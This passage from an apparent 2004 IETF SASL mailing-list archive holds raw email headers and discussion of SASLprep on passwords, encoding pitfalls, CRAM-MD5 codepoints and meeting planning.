Alexey> Also, as usual, I am interested in hearing more feedback Alexey> on SASL C API and HTTP SASL draft I am coauthoring. Alexey> Alexey As am I. Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0DHmuib054194; Tue, 13 Jan 2004 09:48:56 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0DHmuqm054193; Tue, 13 Jan 2004 09:48:56 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from smtp3.Stanford.EDU (smtp3.Stanford.EDU [171.67.16.117]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0DHmtib054183 for ; Tue, 13 Jan 2004 09:48:55 -0800 (PST) (envelope-from Jeff.Hodges@KingsMountain.com) Received: from networking.Stanford.EDU (networking.Stanford.EDU [171.64.20.23]) by smtp3.Stanford.EDU (8.12.10/8.12.10) with ESMTP id i0DHmtGX016891 for ; Tue, 13 Jan 2004 09:48:56 -0800 Received: from networking.Stanford.EDU (hodges@localhost) by networking.Stanford.EDU (8.11.7/8.11.6) with ESMTP id i0DHmtg27709 for ; Tue, 13 Jan 2004 09:48:55 -0800 (PST) Message-Id: <200401131748.i0DHmtg27709@networking.Stanford.EDU> X-Authentication-Warning: networking.Stanford.EDU: hodges owned process doing -bs X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 Subject: Re: A different thought on saslprep To: ietf-sasl@imc.org In-reply-to: Paul Hoffman / IMC 's message of Mon, 12 Jan 2004 18:18:42 -0800 Reply-to: Jeff.Hodges@KingsMountain.com From: Jeff.Hodges@KingsMountain.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 13 Jan 2004 09:48:55 -0800 Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: > >Given that security issue with using SASLPrep on passwords, plus the other two > >issues Paul mentions with that application of SASLPrep, I wonder if the > >requirement that passwords be run thru SASLPrep (section 4.4 of > >draft-ietf-sasl-rfc2222bis-04.txt) really should be a MAY. > > How would that work? How would one end know whether or not the other > end had done the saslprep? That seems like an invitation to lack of > interop. ah, indeed. JeffH Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0DCL0ib033423; Tue, 13 Jan 2004 04:21:00 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0DCL08G033419; Tue, 13 Jan 2004 04:21:00 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0DCKsib033412 for ; Tue, 13 Jan 2004 04:20:59 -0800 (PST) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Tue, 13 Jan 2004 12:20:48 +0000 Message-ID: <4003E29C.1060204@isode.com> Date: Tue, 13 Jan 2004 12:20:44 +0000 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Sam Hartman CC: ietf-sasl@imc.org Subject: Re: Things to discuss in Seoul References: <20040112224252.01D0B1515FF@konishi-polis.mit.edu> In-Reply-To: <20040112224252.01D0B1515FF@konishi-polis.mit.edu> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Sam Hartman wrote: >Who will be there in Seoul? > I should be there. > I'm trying to get a good idea of what >drafts we can focus on for that meeting. Presumably regardless of >attendance we'll try and do as much as we can on the base spec, >stringprep, plain and anonymous. > I was under impression that the last two are basically done? > We are trying to get those drafts to >the IESG. > >But among the remaining documents it may be better to focus time based >on who is available. > > >Also, if you have specific issues that need meeting time, please /let >us know. > I would like to have some discussions about DIGEST-MD5 (in particular selecting a single way of fixing CBC mode attack fix) and GSSAPI with people who are interested. Also, as usual, I am interested in hearing more feedback on SASL C API and HTTP SASL draft I am coauthoring. Alexey Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0D5T8ib040612; Mon, 12 Jan 2004 21:29:08 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0D5T8I1040611; Mon, 12 Jan 2004 21:29:08 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from jalapeno.cc.columbia.edu (IDENT:cu41754@jalapeno.cc.columbia.edu [128.59.59.238]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0D5T7ib040605 for ; Mon, 12 Jan 2004 21:29:07 -0800 (PST) (envelope-from jaltman@columbia.edu) Received: from columbia.edu (66-108-138-151.nyc.rr.com [66.108.138.151]) (user=jaltman mech=PLAIN bits=0) by jalapeno.cc.columbia.edu (8.12.10/8.12.10) with ESMTP id i0D5T92O029420 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT) for ; Tue, 13 Jan 2004 00:29:09 -0500 (EST) Message-ID: <40038223.2050000@columbia.edu> Date: Tue, 13 Jan 2004 00:29:07 -0500 From: Jeffrey Altman Organization: No Longer Affiliated with Columbia University in the City of New York User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6b) Gecko/20031208 X-Accept-Language: en-us, en MIME-Version: 1.0 To: ietf-sasl@imc.org Subject: Re: CRAM-MD5 stringprep text References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> In-Reply-To: <2147483647.1073925785@115.216-123-230-0.interbaun.com> Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms040602000106040805090903" X-No-Spam-Score: Local X-Scanned-By: MIMEDefang 2.35 Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: This is a cryptographically signed message in MIME format. --------------ms040602000106040805090903 Content-Type: multipart/alternative; boundary="------------030206040000030107090908" This is a multi-part message in MIME format. --------------030206040000030107090908 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Lyndon Nerenberg wrote: > > --On 2004-1-12 5:38 PM -0500 Sam Hartman wrote: > >> I'd like to hear from people who believe we should allow unassigned >> codepoints in cram-md5. > > > Taking off my editor's visor, I personally think this whole issue is > out of scope for the CRAM document, and needs to be addressed in the > base SASL document, or not at all (i.e. let the stringprep document > says what needs to be said, if anything). > > --lyndon I agree. As for whether or not unassigned points may be sent? yes. May they be stored? no. This is to prevent interoperability problems if SASLprep was to be updated to support a newer version of Unicode. Jeffrey Altman P.S. - the only possible exception would be the private use area for internal use. but as was demonstrated during the last IETF meeting, while it is theoretically possible for private use area characters to be treated as assigned internal to an organization, the hoops that would have to be gone through to make it work hardly seem worth it. --------------030206040000030107090908 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Lyndon Nerenberg wrote:

--On 2004-1-12 5:38 PM -0500 Sam Hartman <hartmans@mit.edu> wrote:

I'd like to hear from people who believe we should allow unassigned
codepoints in cram-md5.

Taking off my editor's visor, I personally think this whole issue is out of scope for the CRAM document, and needs to be addressed in the base SASL document, or not at all (i.e. let the stringprep document says what needs to be said, if anything).

--lyndon
I agree.

As for whether or not unassigned points may be sent? yes.   May they be stored? no.
This is to prevent interoperability problems if SASLprep was to be updated to support a newer
version of Unicode. 

Jeffrey Altman

P.S. - the only possible exception would be the private use area for internal use.  but
as was demonstrated during the last IETF meeting, while it is theoretically possible for
private use area characters to be treated as assigned internal to an organization, the
hoops that would have to be gone through to make it work hardly seem worth it.


--------------030206040000030107090908-- --------------ms040602000106040805090903 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIJUDCC AwYwggJvoAMCAQICAwpxijANBgkqhkiG9w0BAQQFADCBkjELMAkGA1UEBhMCWkExFTATBgNV BAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUx HTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVl bWFpbCBSU0EgMjAwMC44LjMwMB4XDTAzMDczMDAyMDkyOFoXDTA0MDcyOTAyMDkyOFowRjEf MB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEjMCEGCSqGSIb3DQEJARYUamFsdG1h bkBjb2x1bWJpYS5lZHUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDBtDG6ZyGA sK+rZOfKPKGBn6oCTLYSLk/mpeX9QTmTG71qh308KUeN35qqoRXjLvscfw6NPOYXiuxE/RqL sx7WKEnK3C4gzzpioCTX1b7o4M7YbpvCRBFPE9Jgsd0yz2EN+mk/pPuK1GP+iQNot2m4A56A aPe6F5T25GqffU535GNIdAtWPao6wHcOm17se25ny/TNzb9mlA4UzYl9XP7MF1fkpJyaDDAy DNNTSSjxBdPVs2EaYq1p/xadXbIpysQiySXAxoeiZusgJopRHLcBsBmmY9QVD4QnUqZVmfJ5 f1CiNri5vlexKCmdFSrxMLuoLr4EQZCECdusp6ZnIt75AgMBAAGjMTAvMB8GA1UdEQQYMBaB FGphbHRtYW5AY29sdW1iaWEuZWR1MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQEEBQADgYEA DPKe/CuAgEUxsrPskJQx2fL6soAEG2iqrqOGIRREHDaXWDBNMEWEbOEMLvh3+yhqHOUc9x3r 2IfsP/XHnujaqsMVXLagokVTnpPN675wv8LZ8hLHblLnykaTCq6RZpVskh2iAiJwpYMcKNF6 jyYaQyGHBGT3PK8uVGVCG4Pp9k4wggMGMIICb6ADAgECAgMKcYowDQYJKoZIhvcNAQEEBQAw gZIxCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUg 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 AgCAMA0GCCqGSIb3DQMCAgFAMAcGBSsOAwIHMA0GCCqGSIb3DQMCAgEoMIGrBgkrBgEEAYI3 EAQxgZ0wgZowgZIxCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNV BAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBT ZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDIwMDAuOC4zMAIDCnGK MIGtBgsqhkiG9w0BCRACCzGBnaCBmjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rl cm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsT FENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0Eg MjAwMC44LjMwAgMKcYowDQYJKoZIhvcNAQEBBQAEggEAF2ZxZN6ZPNfUObS+XobGs8cp/3O+ B6oMZ2NO0mgYGdWfXfpbCNUF7j3rOGAYvd9nY2nHGbBD7PMGXLmwAzAlnyBsS0FsJl6y7N9J mBLBNybA/vGsvHkOqiJORd4tLPqLgsHkJOfQOzu/oTsL2iKne2/N3JvuOIzq5zjE2/p9O647 VDtqInF8wLQNtbfye8cnzegAnmZx7W1CDMSLO0xFt5Sn9FfvfxCmukTmMPPKyXOyhdZG+p/4 oEexvkuG/kZaHINE85sQm5XXnJBn1RZY9Vs6AEXHJEQ8CYi9SDAOrr125/ZBPA0IcVRtUE+T vuiTJ595FfKgs4g/WqSdgiGyAQAAAAAAAA== --------------ms040602000106040805090903-- Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0D4o9ib038050; Mon, 12 Jan 2004 20:50:09 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0D4o9QT038049; Mon, 12 Jan 2004 20:50:09 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from mauve.mrochek.com (mauve.mrochek.com [209.55.107.55]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0D4o7id038035 for ; Mon, 12 Jan 2004 20:50:08 -0800 (PST) (envelope-from ned+ietf-sasl@mrochek.com) Received: from mauve.mrochek.com by mauve.mrochek.com (PMDF V6.1-1 #35243) id <01L59XEO364W00Q4RU@mauve.mrochek.com> (original mail from NED@mauve.mrochek.com) for ietf-sasl@imc.org; Mon, 12 Jan 2004 20:50:04 -0800 (PST) Date: Mon, 12 Jan 2004 18:22:20 -0800 (PST) From: ned+ietf-sasl@mrochek.com Subject: Re: A different thought on saslprep In-reply-to: "Your message dated Mon, 12 Jan 2004 15:17:45 -0800" To: Paul Hoffman / IMC Cc: ietf-sasl@imc.org Message-id: <01L5BPIBP67S00Q4RU@mauve.mrochek.com> MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=us-ascii; format=flowed Content-transfer-encoding: 7BIT References: Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: > Greetings again. Sorry for coming in so late on this, but three > issues were just pointed out to me about this document and I thought > they might be worthy of discussion. > The first is an implementation issue. In order to use saslprep on the > shared secret, the application needs to know the text encoding used > to enter the shared secret. Until now, that has always been ASCII, so > no big problem there. However, once we open up to the Unicode > character set, we also open up to a zillion odd text encodings > (UTF-8, BIG5, ISO 8859-7, ...). Is anyone worried that that programs > will get the conversion from what the user entered for the shared > secret into Unicode code points wrong? I for one am worried about it. But I don't think there's much we can do to fix it. Here's a specific example that illustrates why I'm worried. The ISO-2022-JP charset is based on four coded character sets: ASCII, JIS X 0201-1976, JIS X 0208-1978, and JIS X 0208-1983. However, in practice we sometimes see ISO-2022-JP encoding and labelling applied to CP932, Microsoft's "extended" version of JIS 0208. But only only does CP932 extend JIS 0208 to include various additional character like circled digits, it also differs from JIS 0208 in some positions. As you might have guessed, this is a real world example, not an academic one. Ned Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0D2Iiib027331; Mon, 12 Jan 2004 18:18:44 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0D2Iiki027329; Mon, 12 Jan 2004 18:18:44 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from [10.0.2.2] (adsl-63-202-92-157.dsl.snfc21.pacbell.net [63.202.92.157]) (authenticated bits=0) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0D2Ific027314 for ; Mon, 12 Jan 2004 18:18:41 -0800 (PST) (envelope-from phoffman@imc.org) Mime-Version: 1.0 X-Sender: phoffman@mail.imc.org Message-Id: In-Reply-To: <200401130035.i0D0ZW723951@networking.Stanford.EDU> References: <200401130035.i0D0ZW723951@networking.Stanford.EDU> X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to . Date: Mon, 12 Jan 2004 18:18:42 -0800 To: ietf-sasl@imc.org From: Paul Hoffman / IMC Subject: Re: A different thought on saslprep Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: At 4:35 PM -0800 1/12/04, Jeff.Hodges@KingsMountain.com wrote: > > The second is a security consideration. Running saslprep over a >> shared secret reduces the entropy of the shared secret by eliminating >> some characters and mapping others. > >I was looking at SASLPrep this weekend for the first time and this caught my >eye. > >> Not a big deal, but it does make an attacker's job easier. > >How big a deal it is, is in the eye of those who're trying to secure their >resources, especially given the latter observation. We can't say by how much it makes it easier. >Given that security issue with using SASLPrep on passwords, plus the other two >issues Paul mentions with that application of SASLPrep, I wonder if the >requirement that passwords be run thru SASLPrep (section 4.4 of >draft-ietf-sasl-rfc2222bis-04.txt) really should be a MAY. How would that work? How would one end know whether or not the other end had done the saslprep? That seems like an invitation to lack of interop. --Paul Hoffman, Director --Internet Mail Consortium Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0D0ZWib017354; Mon, 12 Jan 2004 16:35:32 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0D0ZWHa017353; Mon, 12 Jan 2004 16:35:32 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from smtp2.Stanford.EDU (smtp2.Stanford.EDU [171.67.16.116]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0D0ZVib017344; Mon, 12 Jan 2004 16:35:31 -0800 (PST) (envelope-from Jeff.Hodges@KingsMountain.com) Received: from networking.Stanford.EDU (networking.Stanford.EDU [171.64.20.23]) by smtp2.Stanford.EDU (8.12.10/8.12.10) with ESMTP id i0D0ZWJ2015453; Mon, 12 Jan 2004 16:35:33 -0800 Received: from networking.Stanford.EDU (hodges@localhost) by networking.Stanford.EDU (8.11.7/8.11.6) with ESMTP id i0D0ZW723951; Mon, 12 Jan 2004 16:35:32 -0800 (PST) Message-Id: <200401130035.i0D0ZW723951@networking.Stanford.EDU> X-Authentication-Warning: networking.Stanford.EDU: hodges owned process doing -bs X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 Subject: Re: A different thought on saslprep To: Paul Hoffman / IMC cc: ietf-sasl@imc.org In-reply-to: Paul Hoffman / IMC 's message of Mon, 12 Jan 2004 15:17:45 -0800 From: Jeff.Hodges@KingsMountain.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 12 Jan 2004 16:35:32 -0800 Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: > The second is a security consideration. Running saslprep over a > shared secret reduces the entropy of the shared secret by eliminating > some characters and mapping others. I was looking at SASLPrep this weekend for the first time and this caught my eye. > Not a big deal, but it does make an attacker's job easier. How big a deal it is, is in the eye of those who're trying to secure their resources, especially given the latter observation. Given that security issue with using SASLPrep on passwords, plus the other two issues Paul mentions with that application of SASLPrep, I wonder if the requirement that passwords be run thru SASLPrep (section 4.4 of draft-ietf-sasl-rfc2222bis-04.txt) really should be a MAY. JeffH Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CNhBib014551; Mon, 12 Jan 2004 15:43:11 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0CNhB5n014550; Mon, 12 Jan 2004 15:43:11 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from peregrin.orthanc.ca (115.216-123-230-0.interbaun.com [216.123.230.115]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CNhAib014545 for ; Mon, 12 Jan 2004 15:43:10 -0800 (PST) (envelope-from lyndon@orthanc.ca) Received: from 115.216-123-230-0.interbaun.com (localhost [127.0.0.1]) by peregrin.orthanc.ca (Postfix) with ESMTP id 724CC65D91; Mon, 12 Jan 2004 16:43:06 -0700 (MST) Date: Mon, 12 Jan 2004 16:43:05 -0700 From: Lyndon Nerenberg To: Sam Hartman Cc: ietf-sasl@imc.org Subject: Re: CRAM-MD5 stringprep text Message-ID: <2147483647.1073925785@115.216-123-230-0.interbaun.com> In-Reply-To: References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> X-Mailer: Mulberry/3.1.0 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --On 2004-1-12 5:38 PM -0500 Sam Hartman wrote: > I'd like to hear from people who believe we should allow unassigned > codepoints in cram-md5. Taking off my editor's visor, I personally think this whole issue is out of scope for the CRAM document, and needs to be addressed in the base SASL document, or not at all (i.e. let the stringprep document says what needs to be said, if anything). --lyndon Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CNHmib013395; Mon, 12 Jan 2004 15:17:48 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0CNHmgL013394; Mon, 12 Jan 2004 15:17:48 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from [10.0.2.2] (adsl-63-202-92-157.dsl.snfc21.pacbell.net [63.202.92.157]) (authenticated bits=0) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CNHkic013383 for ; Mon, 12 Jan 2004 15:17:47 -0800 (PST) (envelope-from phoffman@imc.org) Mime-Version: 1.0 X-Sender: phoffman@mail.imc.org Message-Id: X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to . Date: Mon, 12 Jan 2004 15:17:45 -0800 To: ietf-sasl@imc.org From: Paul Hoffman / IMC Subject: A different thought on saslprep Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Greetings again. Sorry for coming in so late on this, but three issues were just pointed out to me about this document and I thought they might be worthy of discussion. The first is an implementation issue. In order to use saslprep on the shared secret, the application needs to know the text encoding used to enter the shared secret. Until now, that has always been ASCII, so no big problem there. However, once we open up to the Unicode character set, we also open up to a zillion odd text encodings (UTF-8, BIG5, ISO 8859-7, ...). Is anyone worried that that programs will get the conversion from what the user entered for the shared secret into Unicode code points wrong? The second is shared secrets that aren't text. Is the shared secret always text, or is there a pure binary form? If so, you can't saslprep the pure binary form. I'm assuming this is a non-issue, but I might have not found the right place in the SASL draft. The second is a security consideration. Running saslprep over a shared secret reduces the entropy of the shared secret by eliminating some characters and mapping others. Not a big deal, but it does make an attacker's job easier. --Paul Hoffman, Director --Internet Mail Consortium Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CMgqib011614; Mon, 12 Jan 2004 14:42:52 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0CMgqYe011613; Mon, 12 Jan 2004 14:42:52 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from konishi-polis.mit.edu (KONISHI-POLIS.MIT.EDU [18.18.3.10]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0CMgoib011608 for ; Mon, 12 Jan 2004 14:42:51 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by konishi-polis.mit.edu (Postfix, from userid 8042) id 01D0B1515FF; Mon, 12 Jan 2004 17:42:52 -0500 (EST) To: ietf-sasl@imc.org Subject: Things to discuss in Seoul Message-Id: <20040112224252.01D0B1515FF@konishi-polis.mit.edu> Date: Mon, 12 Jan 2004 17:42:52 -0500 (EST) From: hartmans@mit.edu (Sam Hartman) Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Who will be there in Seoul? I'm trying to get a good idea of what drafts we can focus on for that meeting. Presumably regardless of attendance we'll 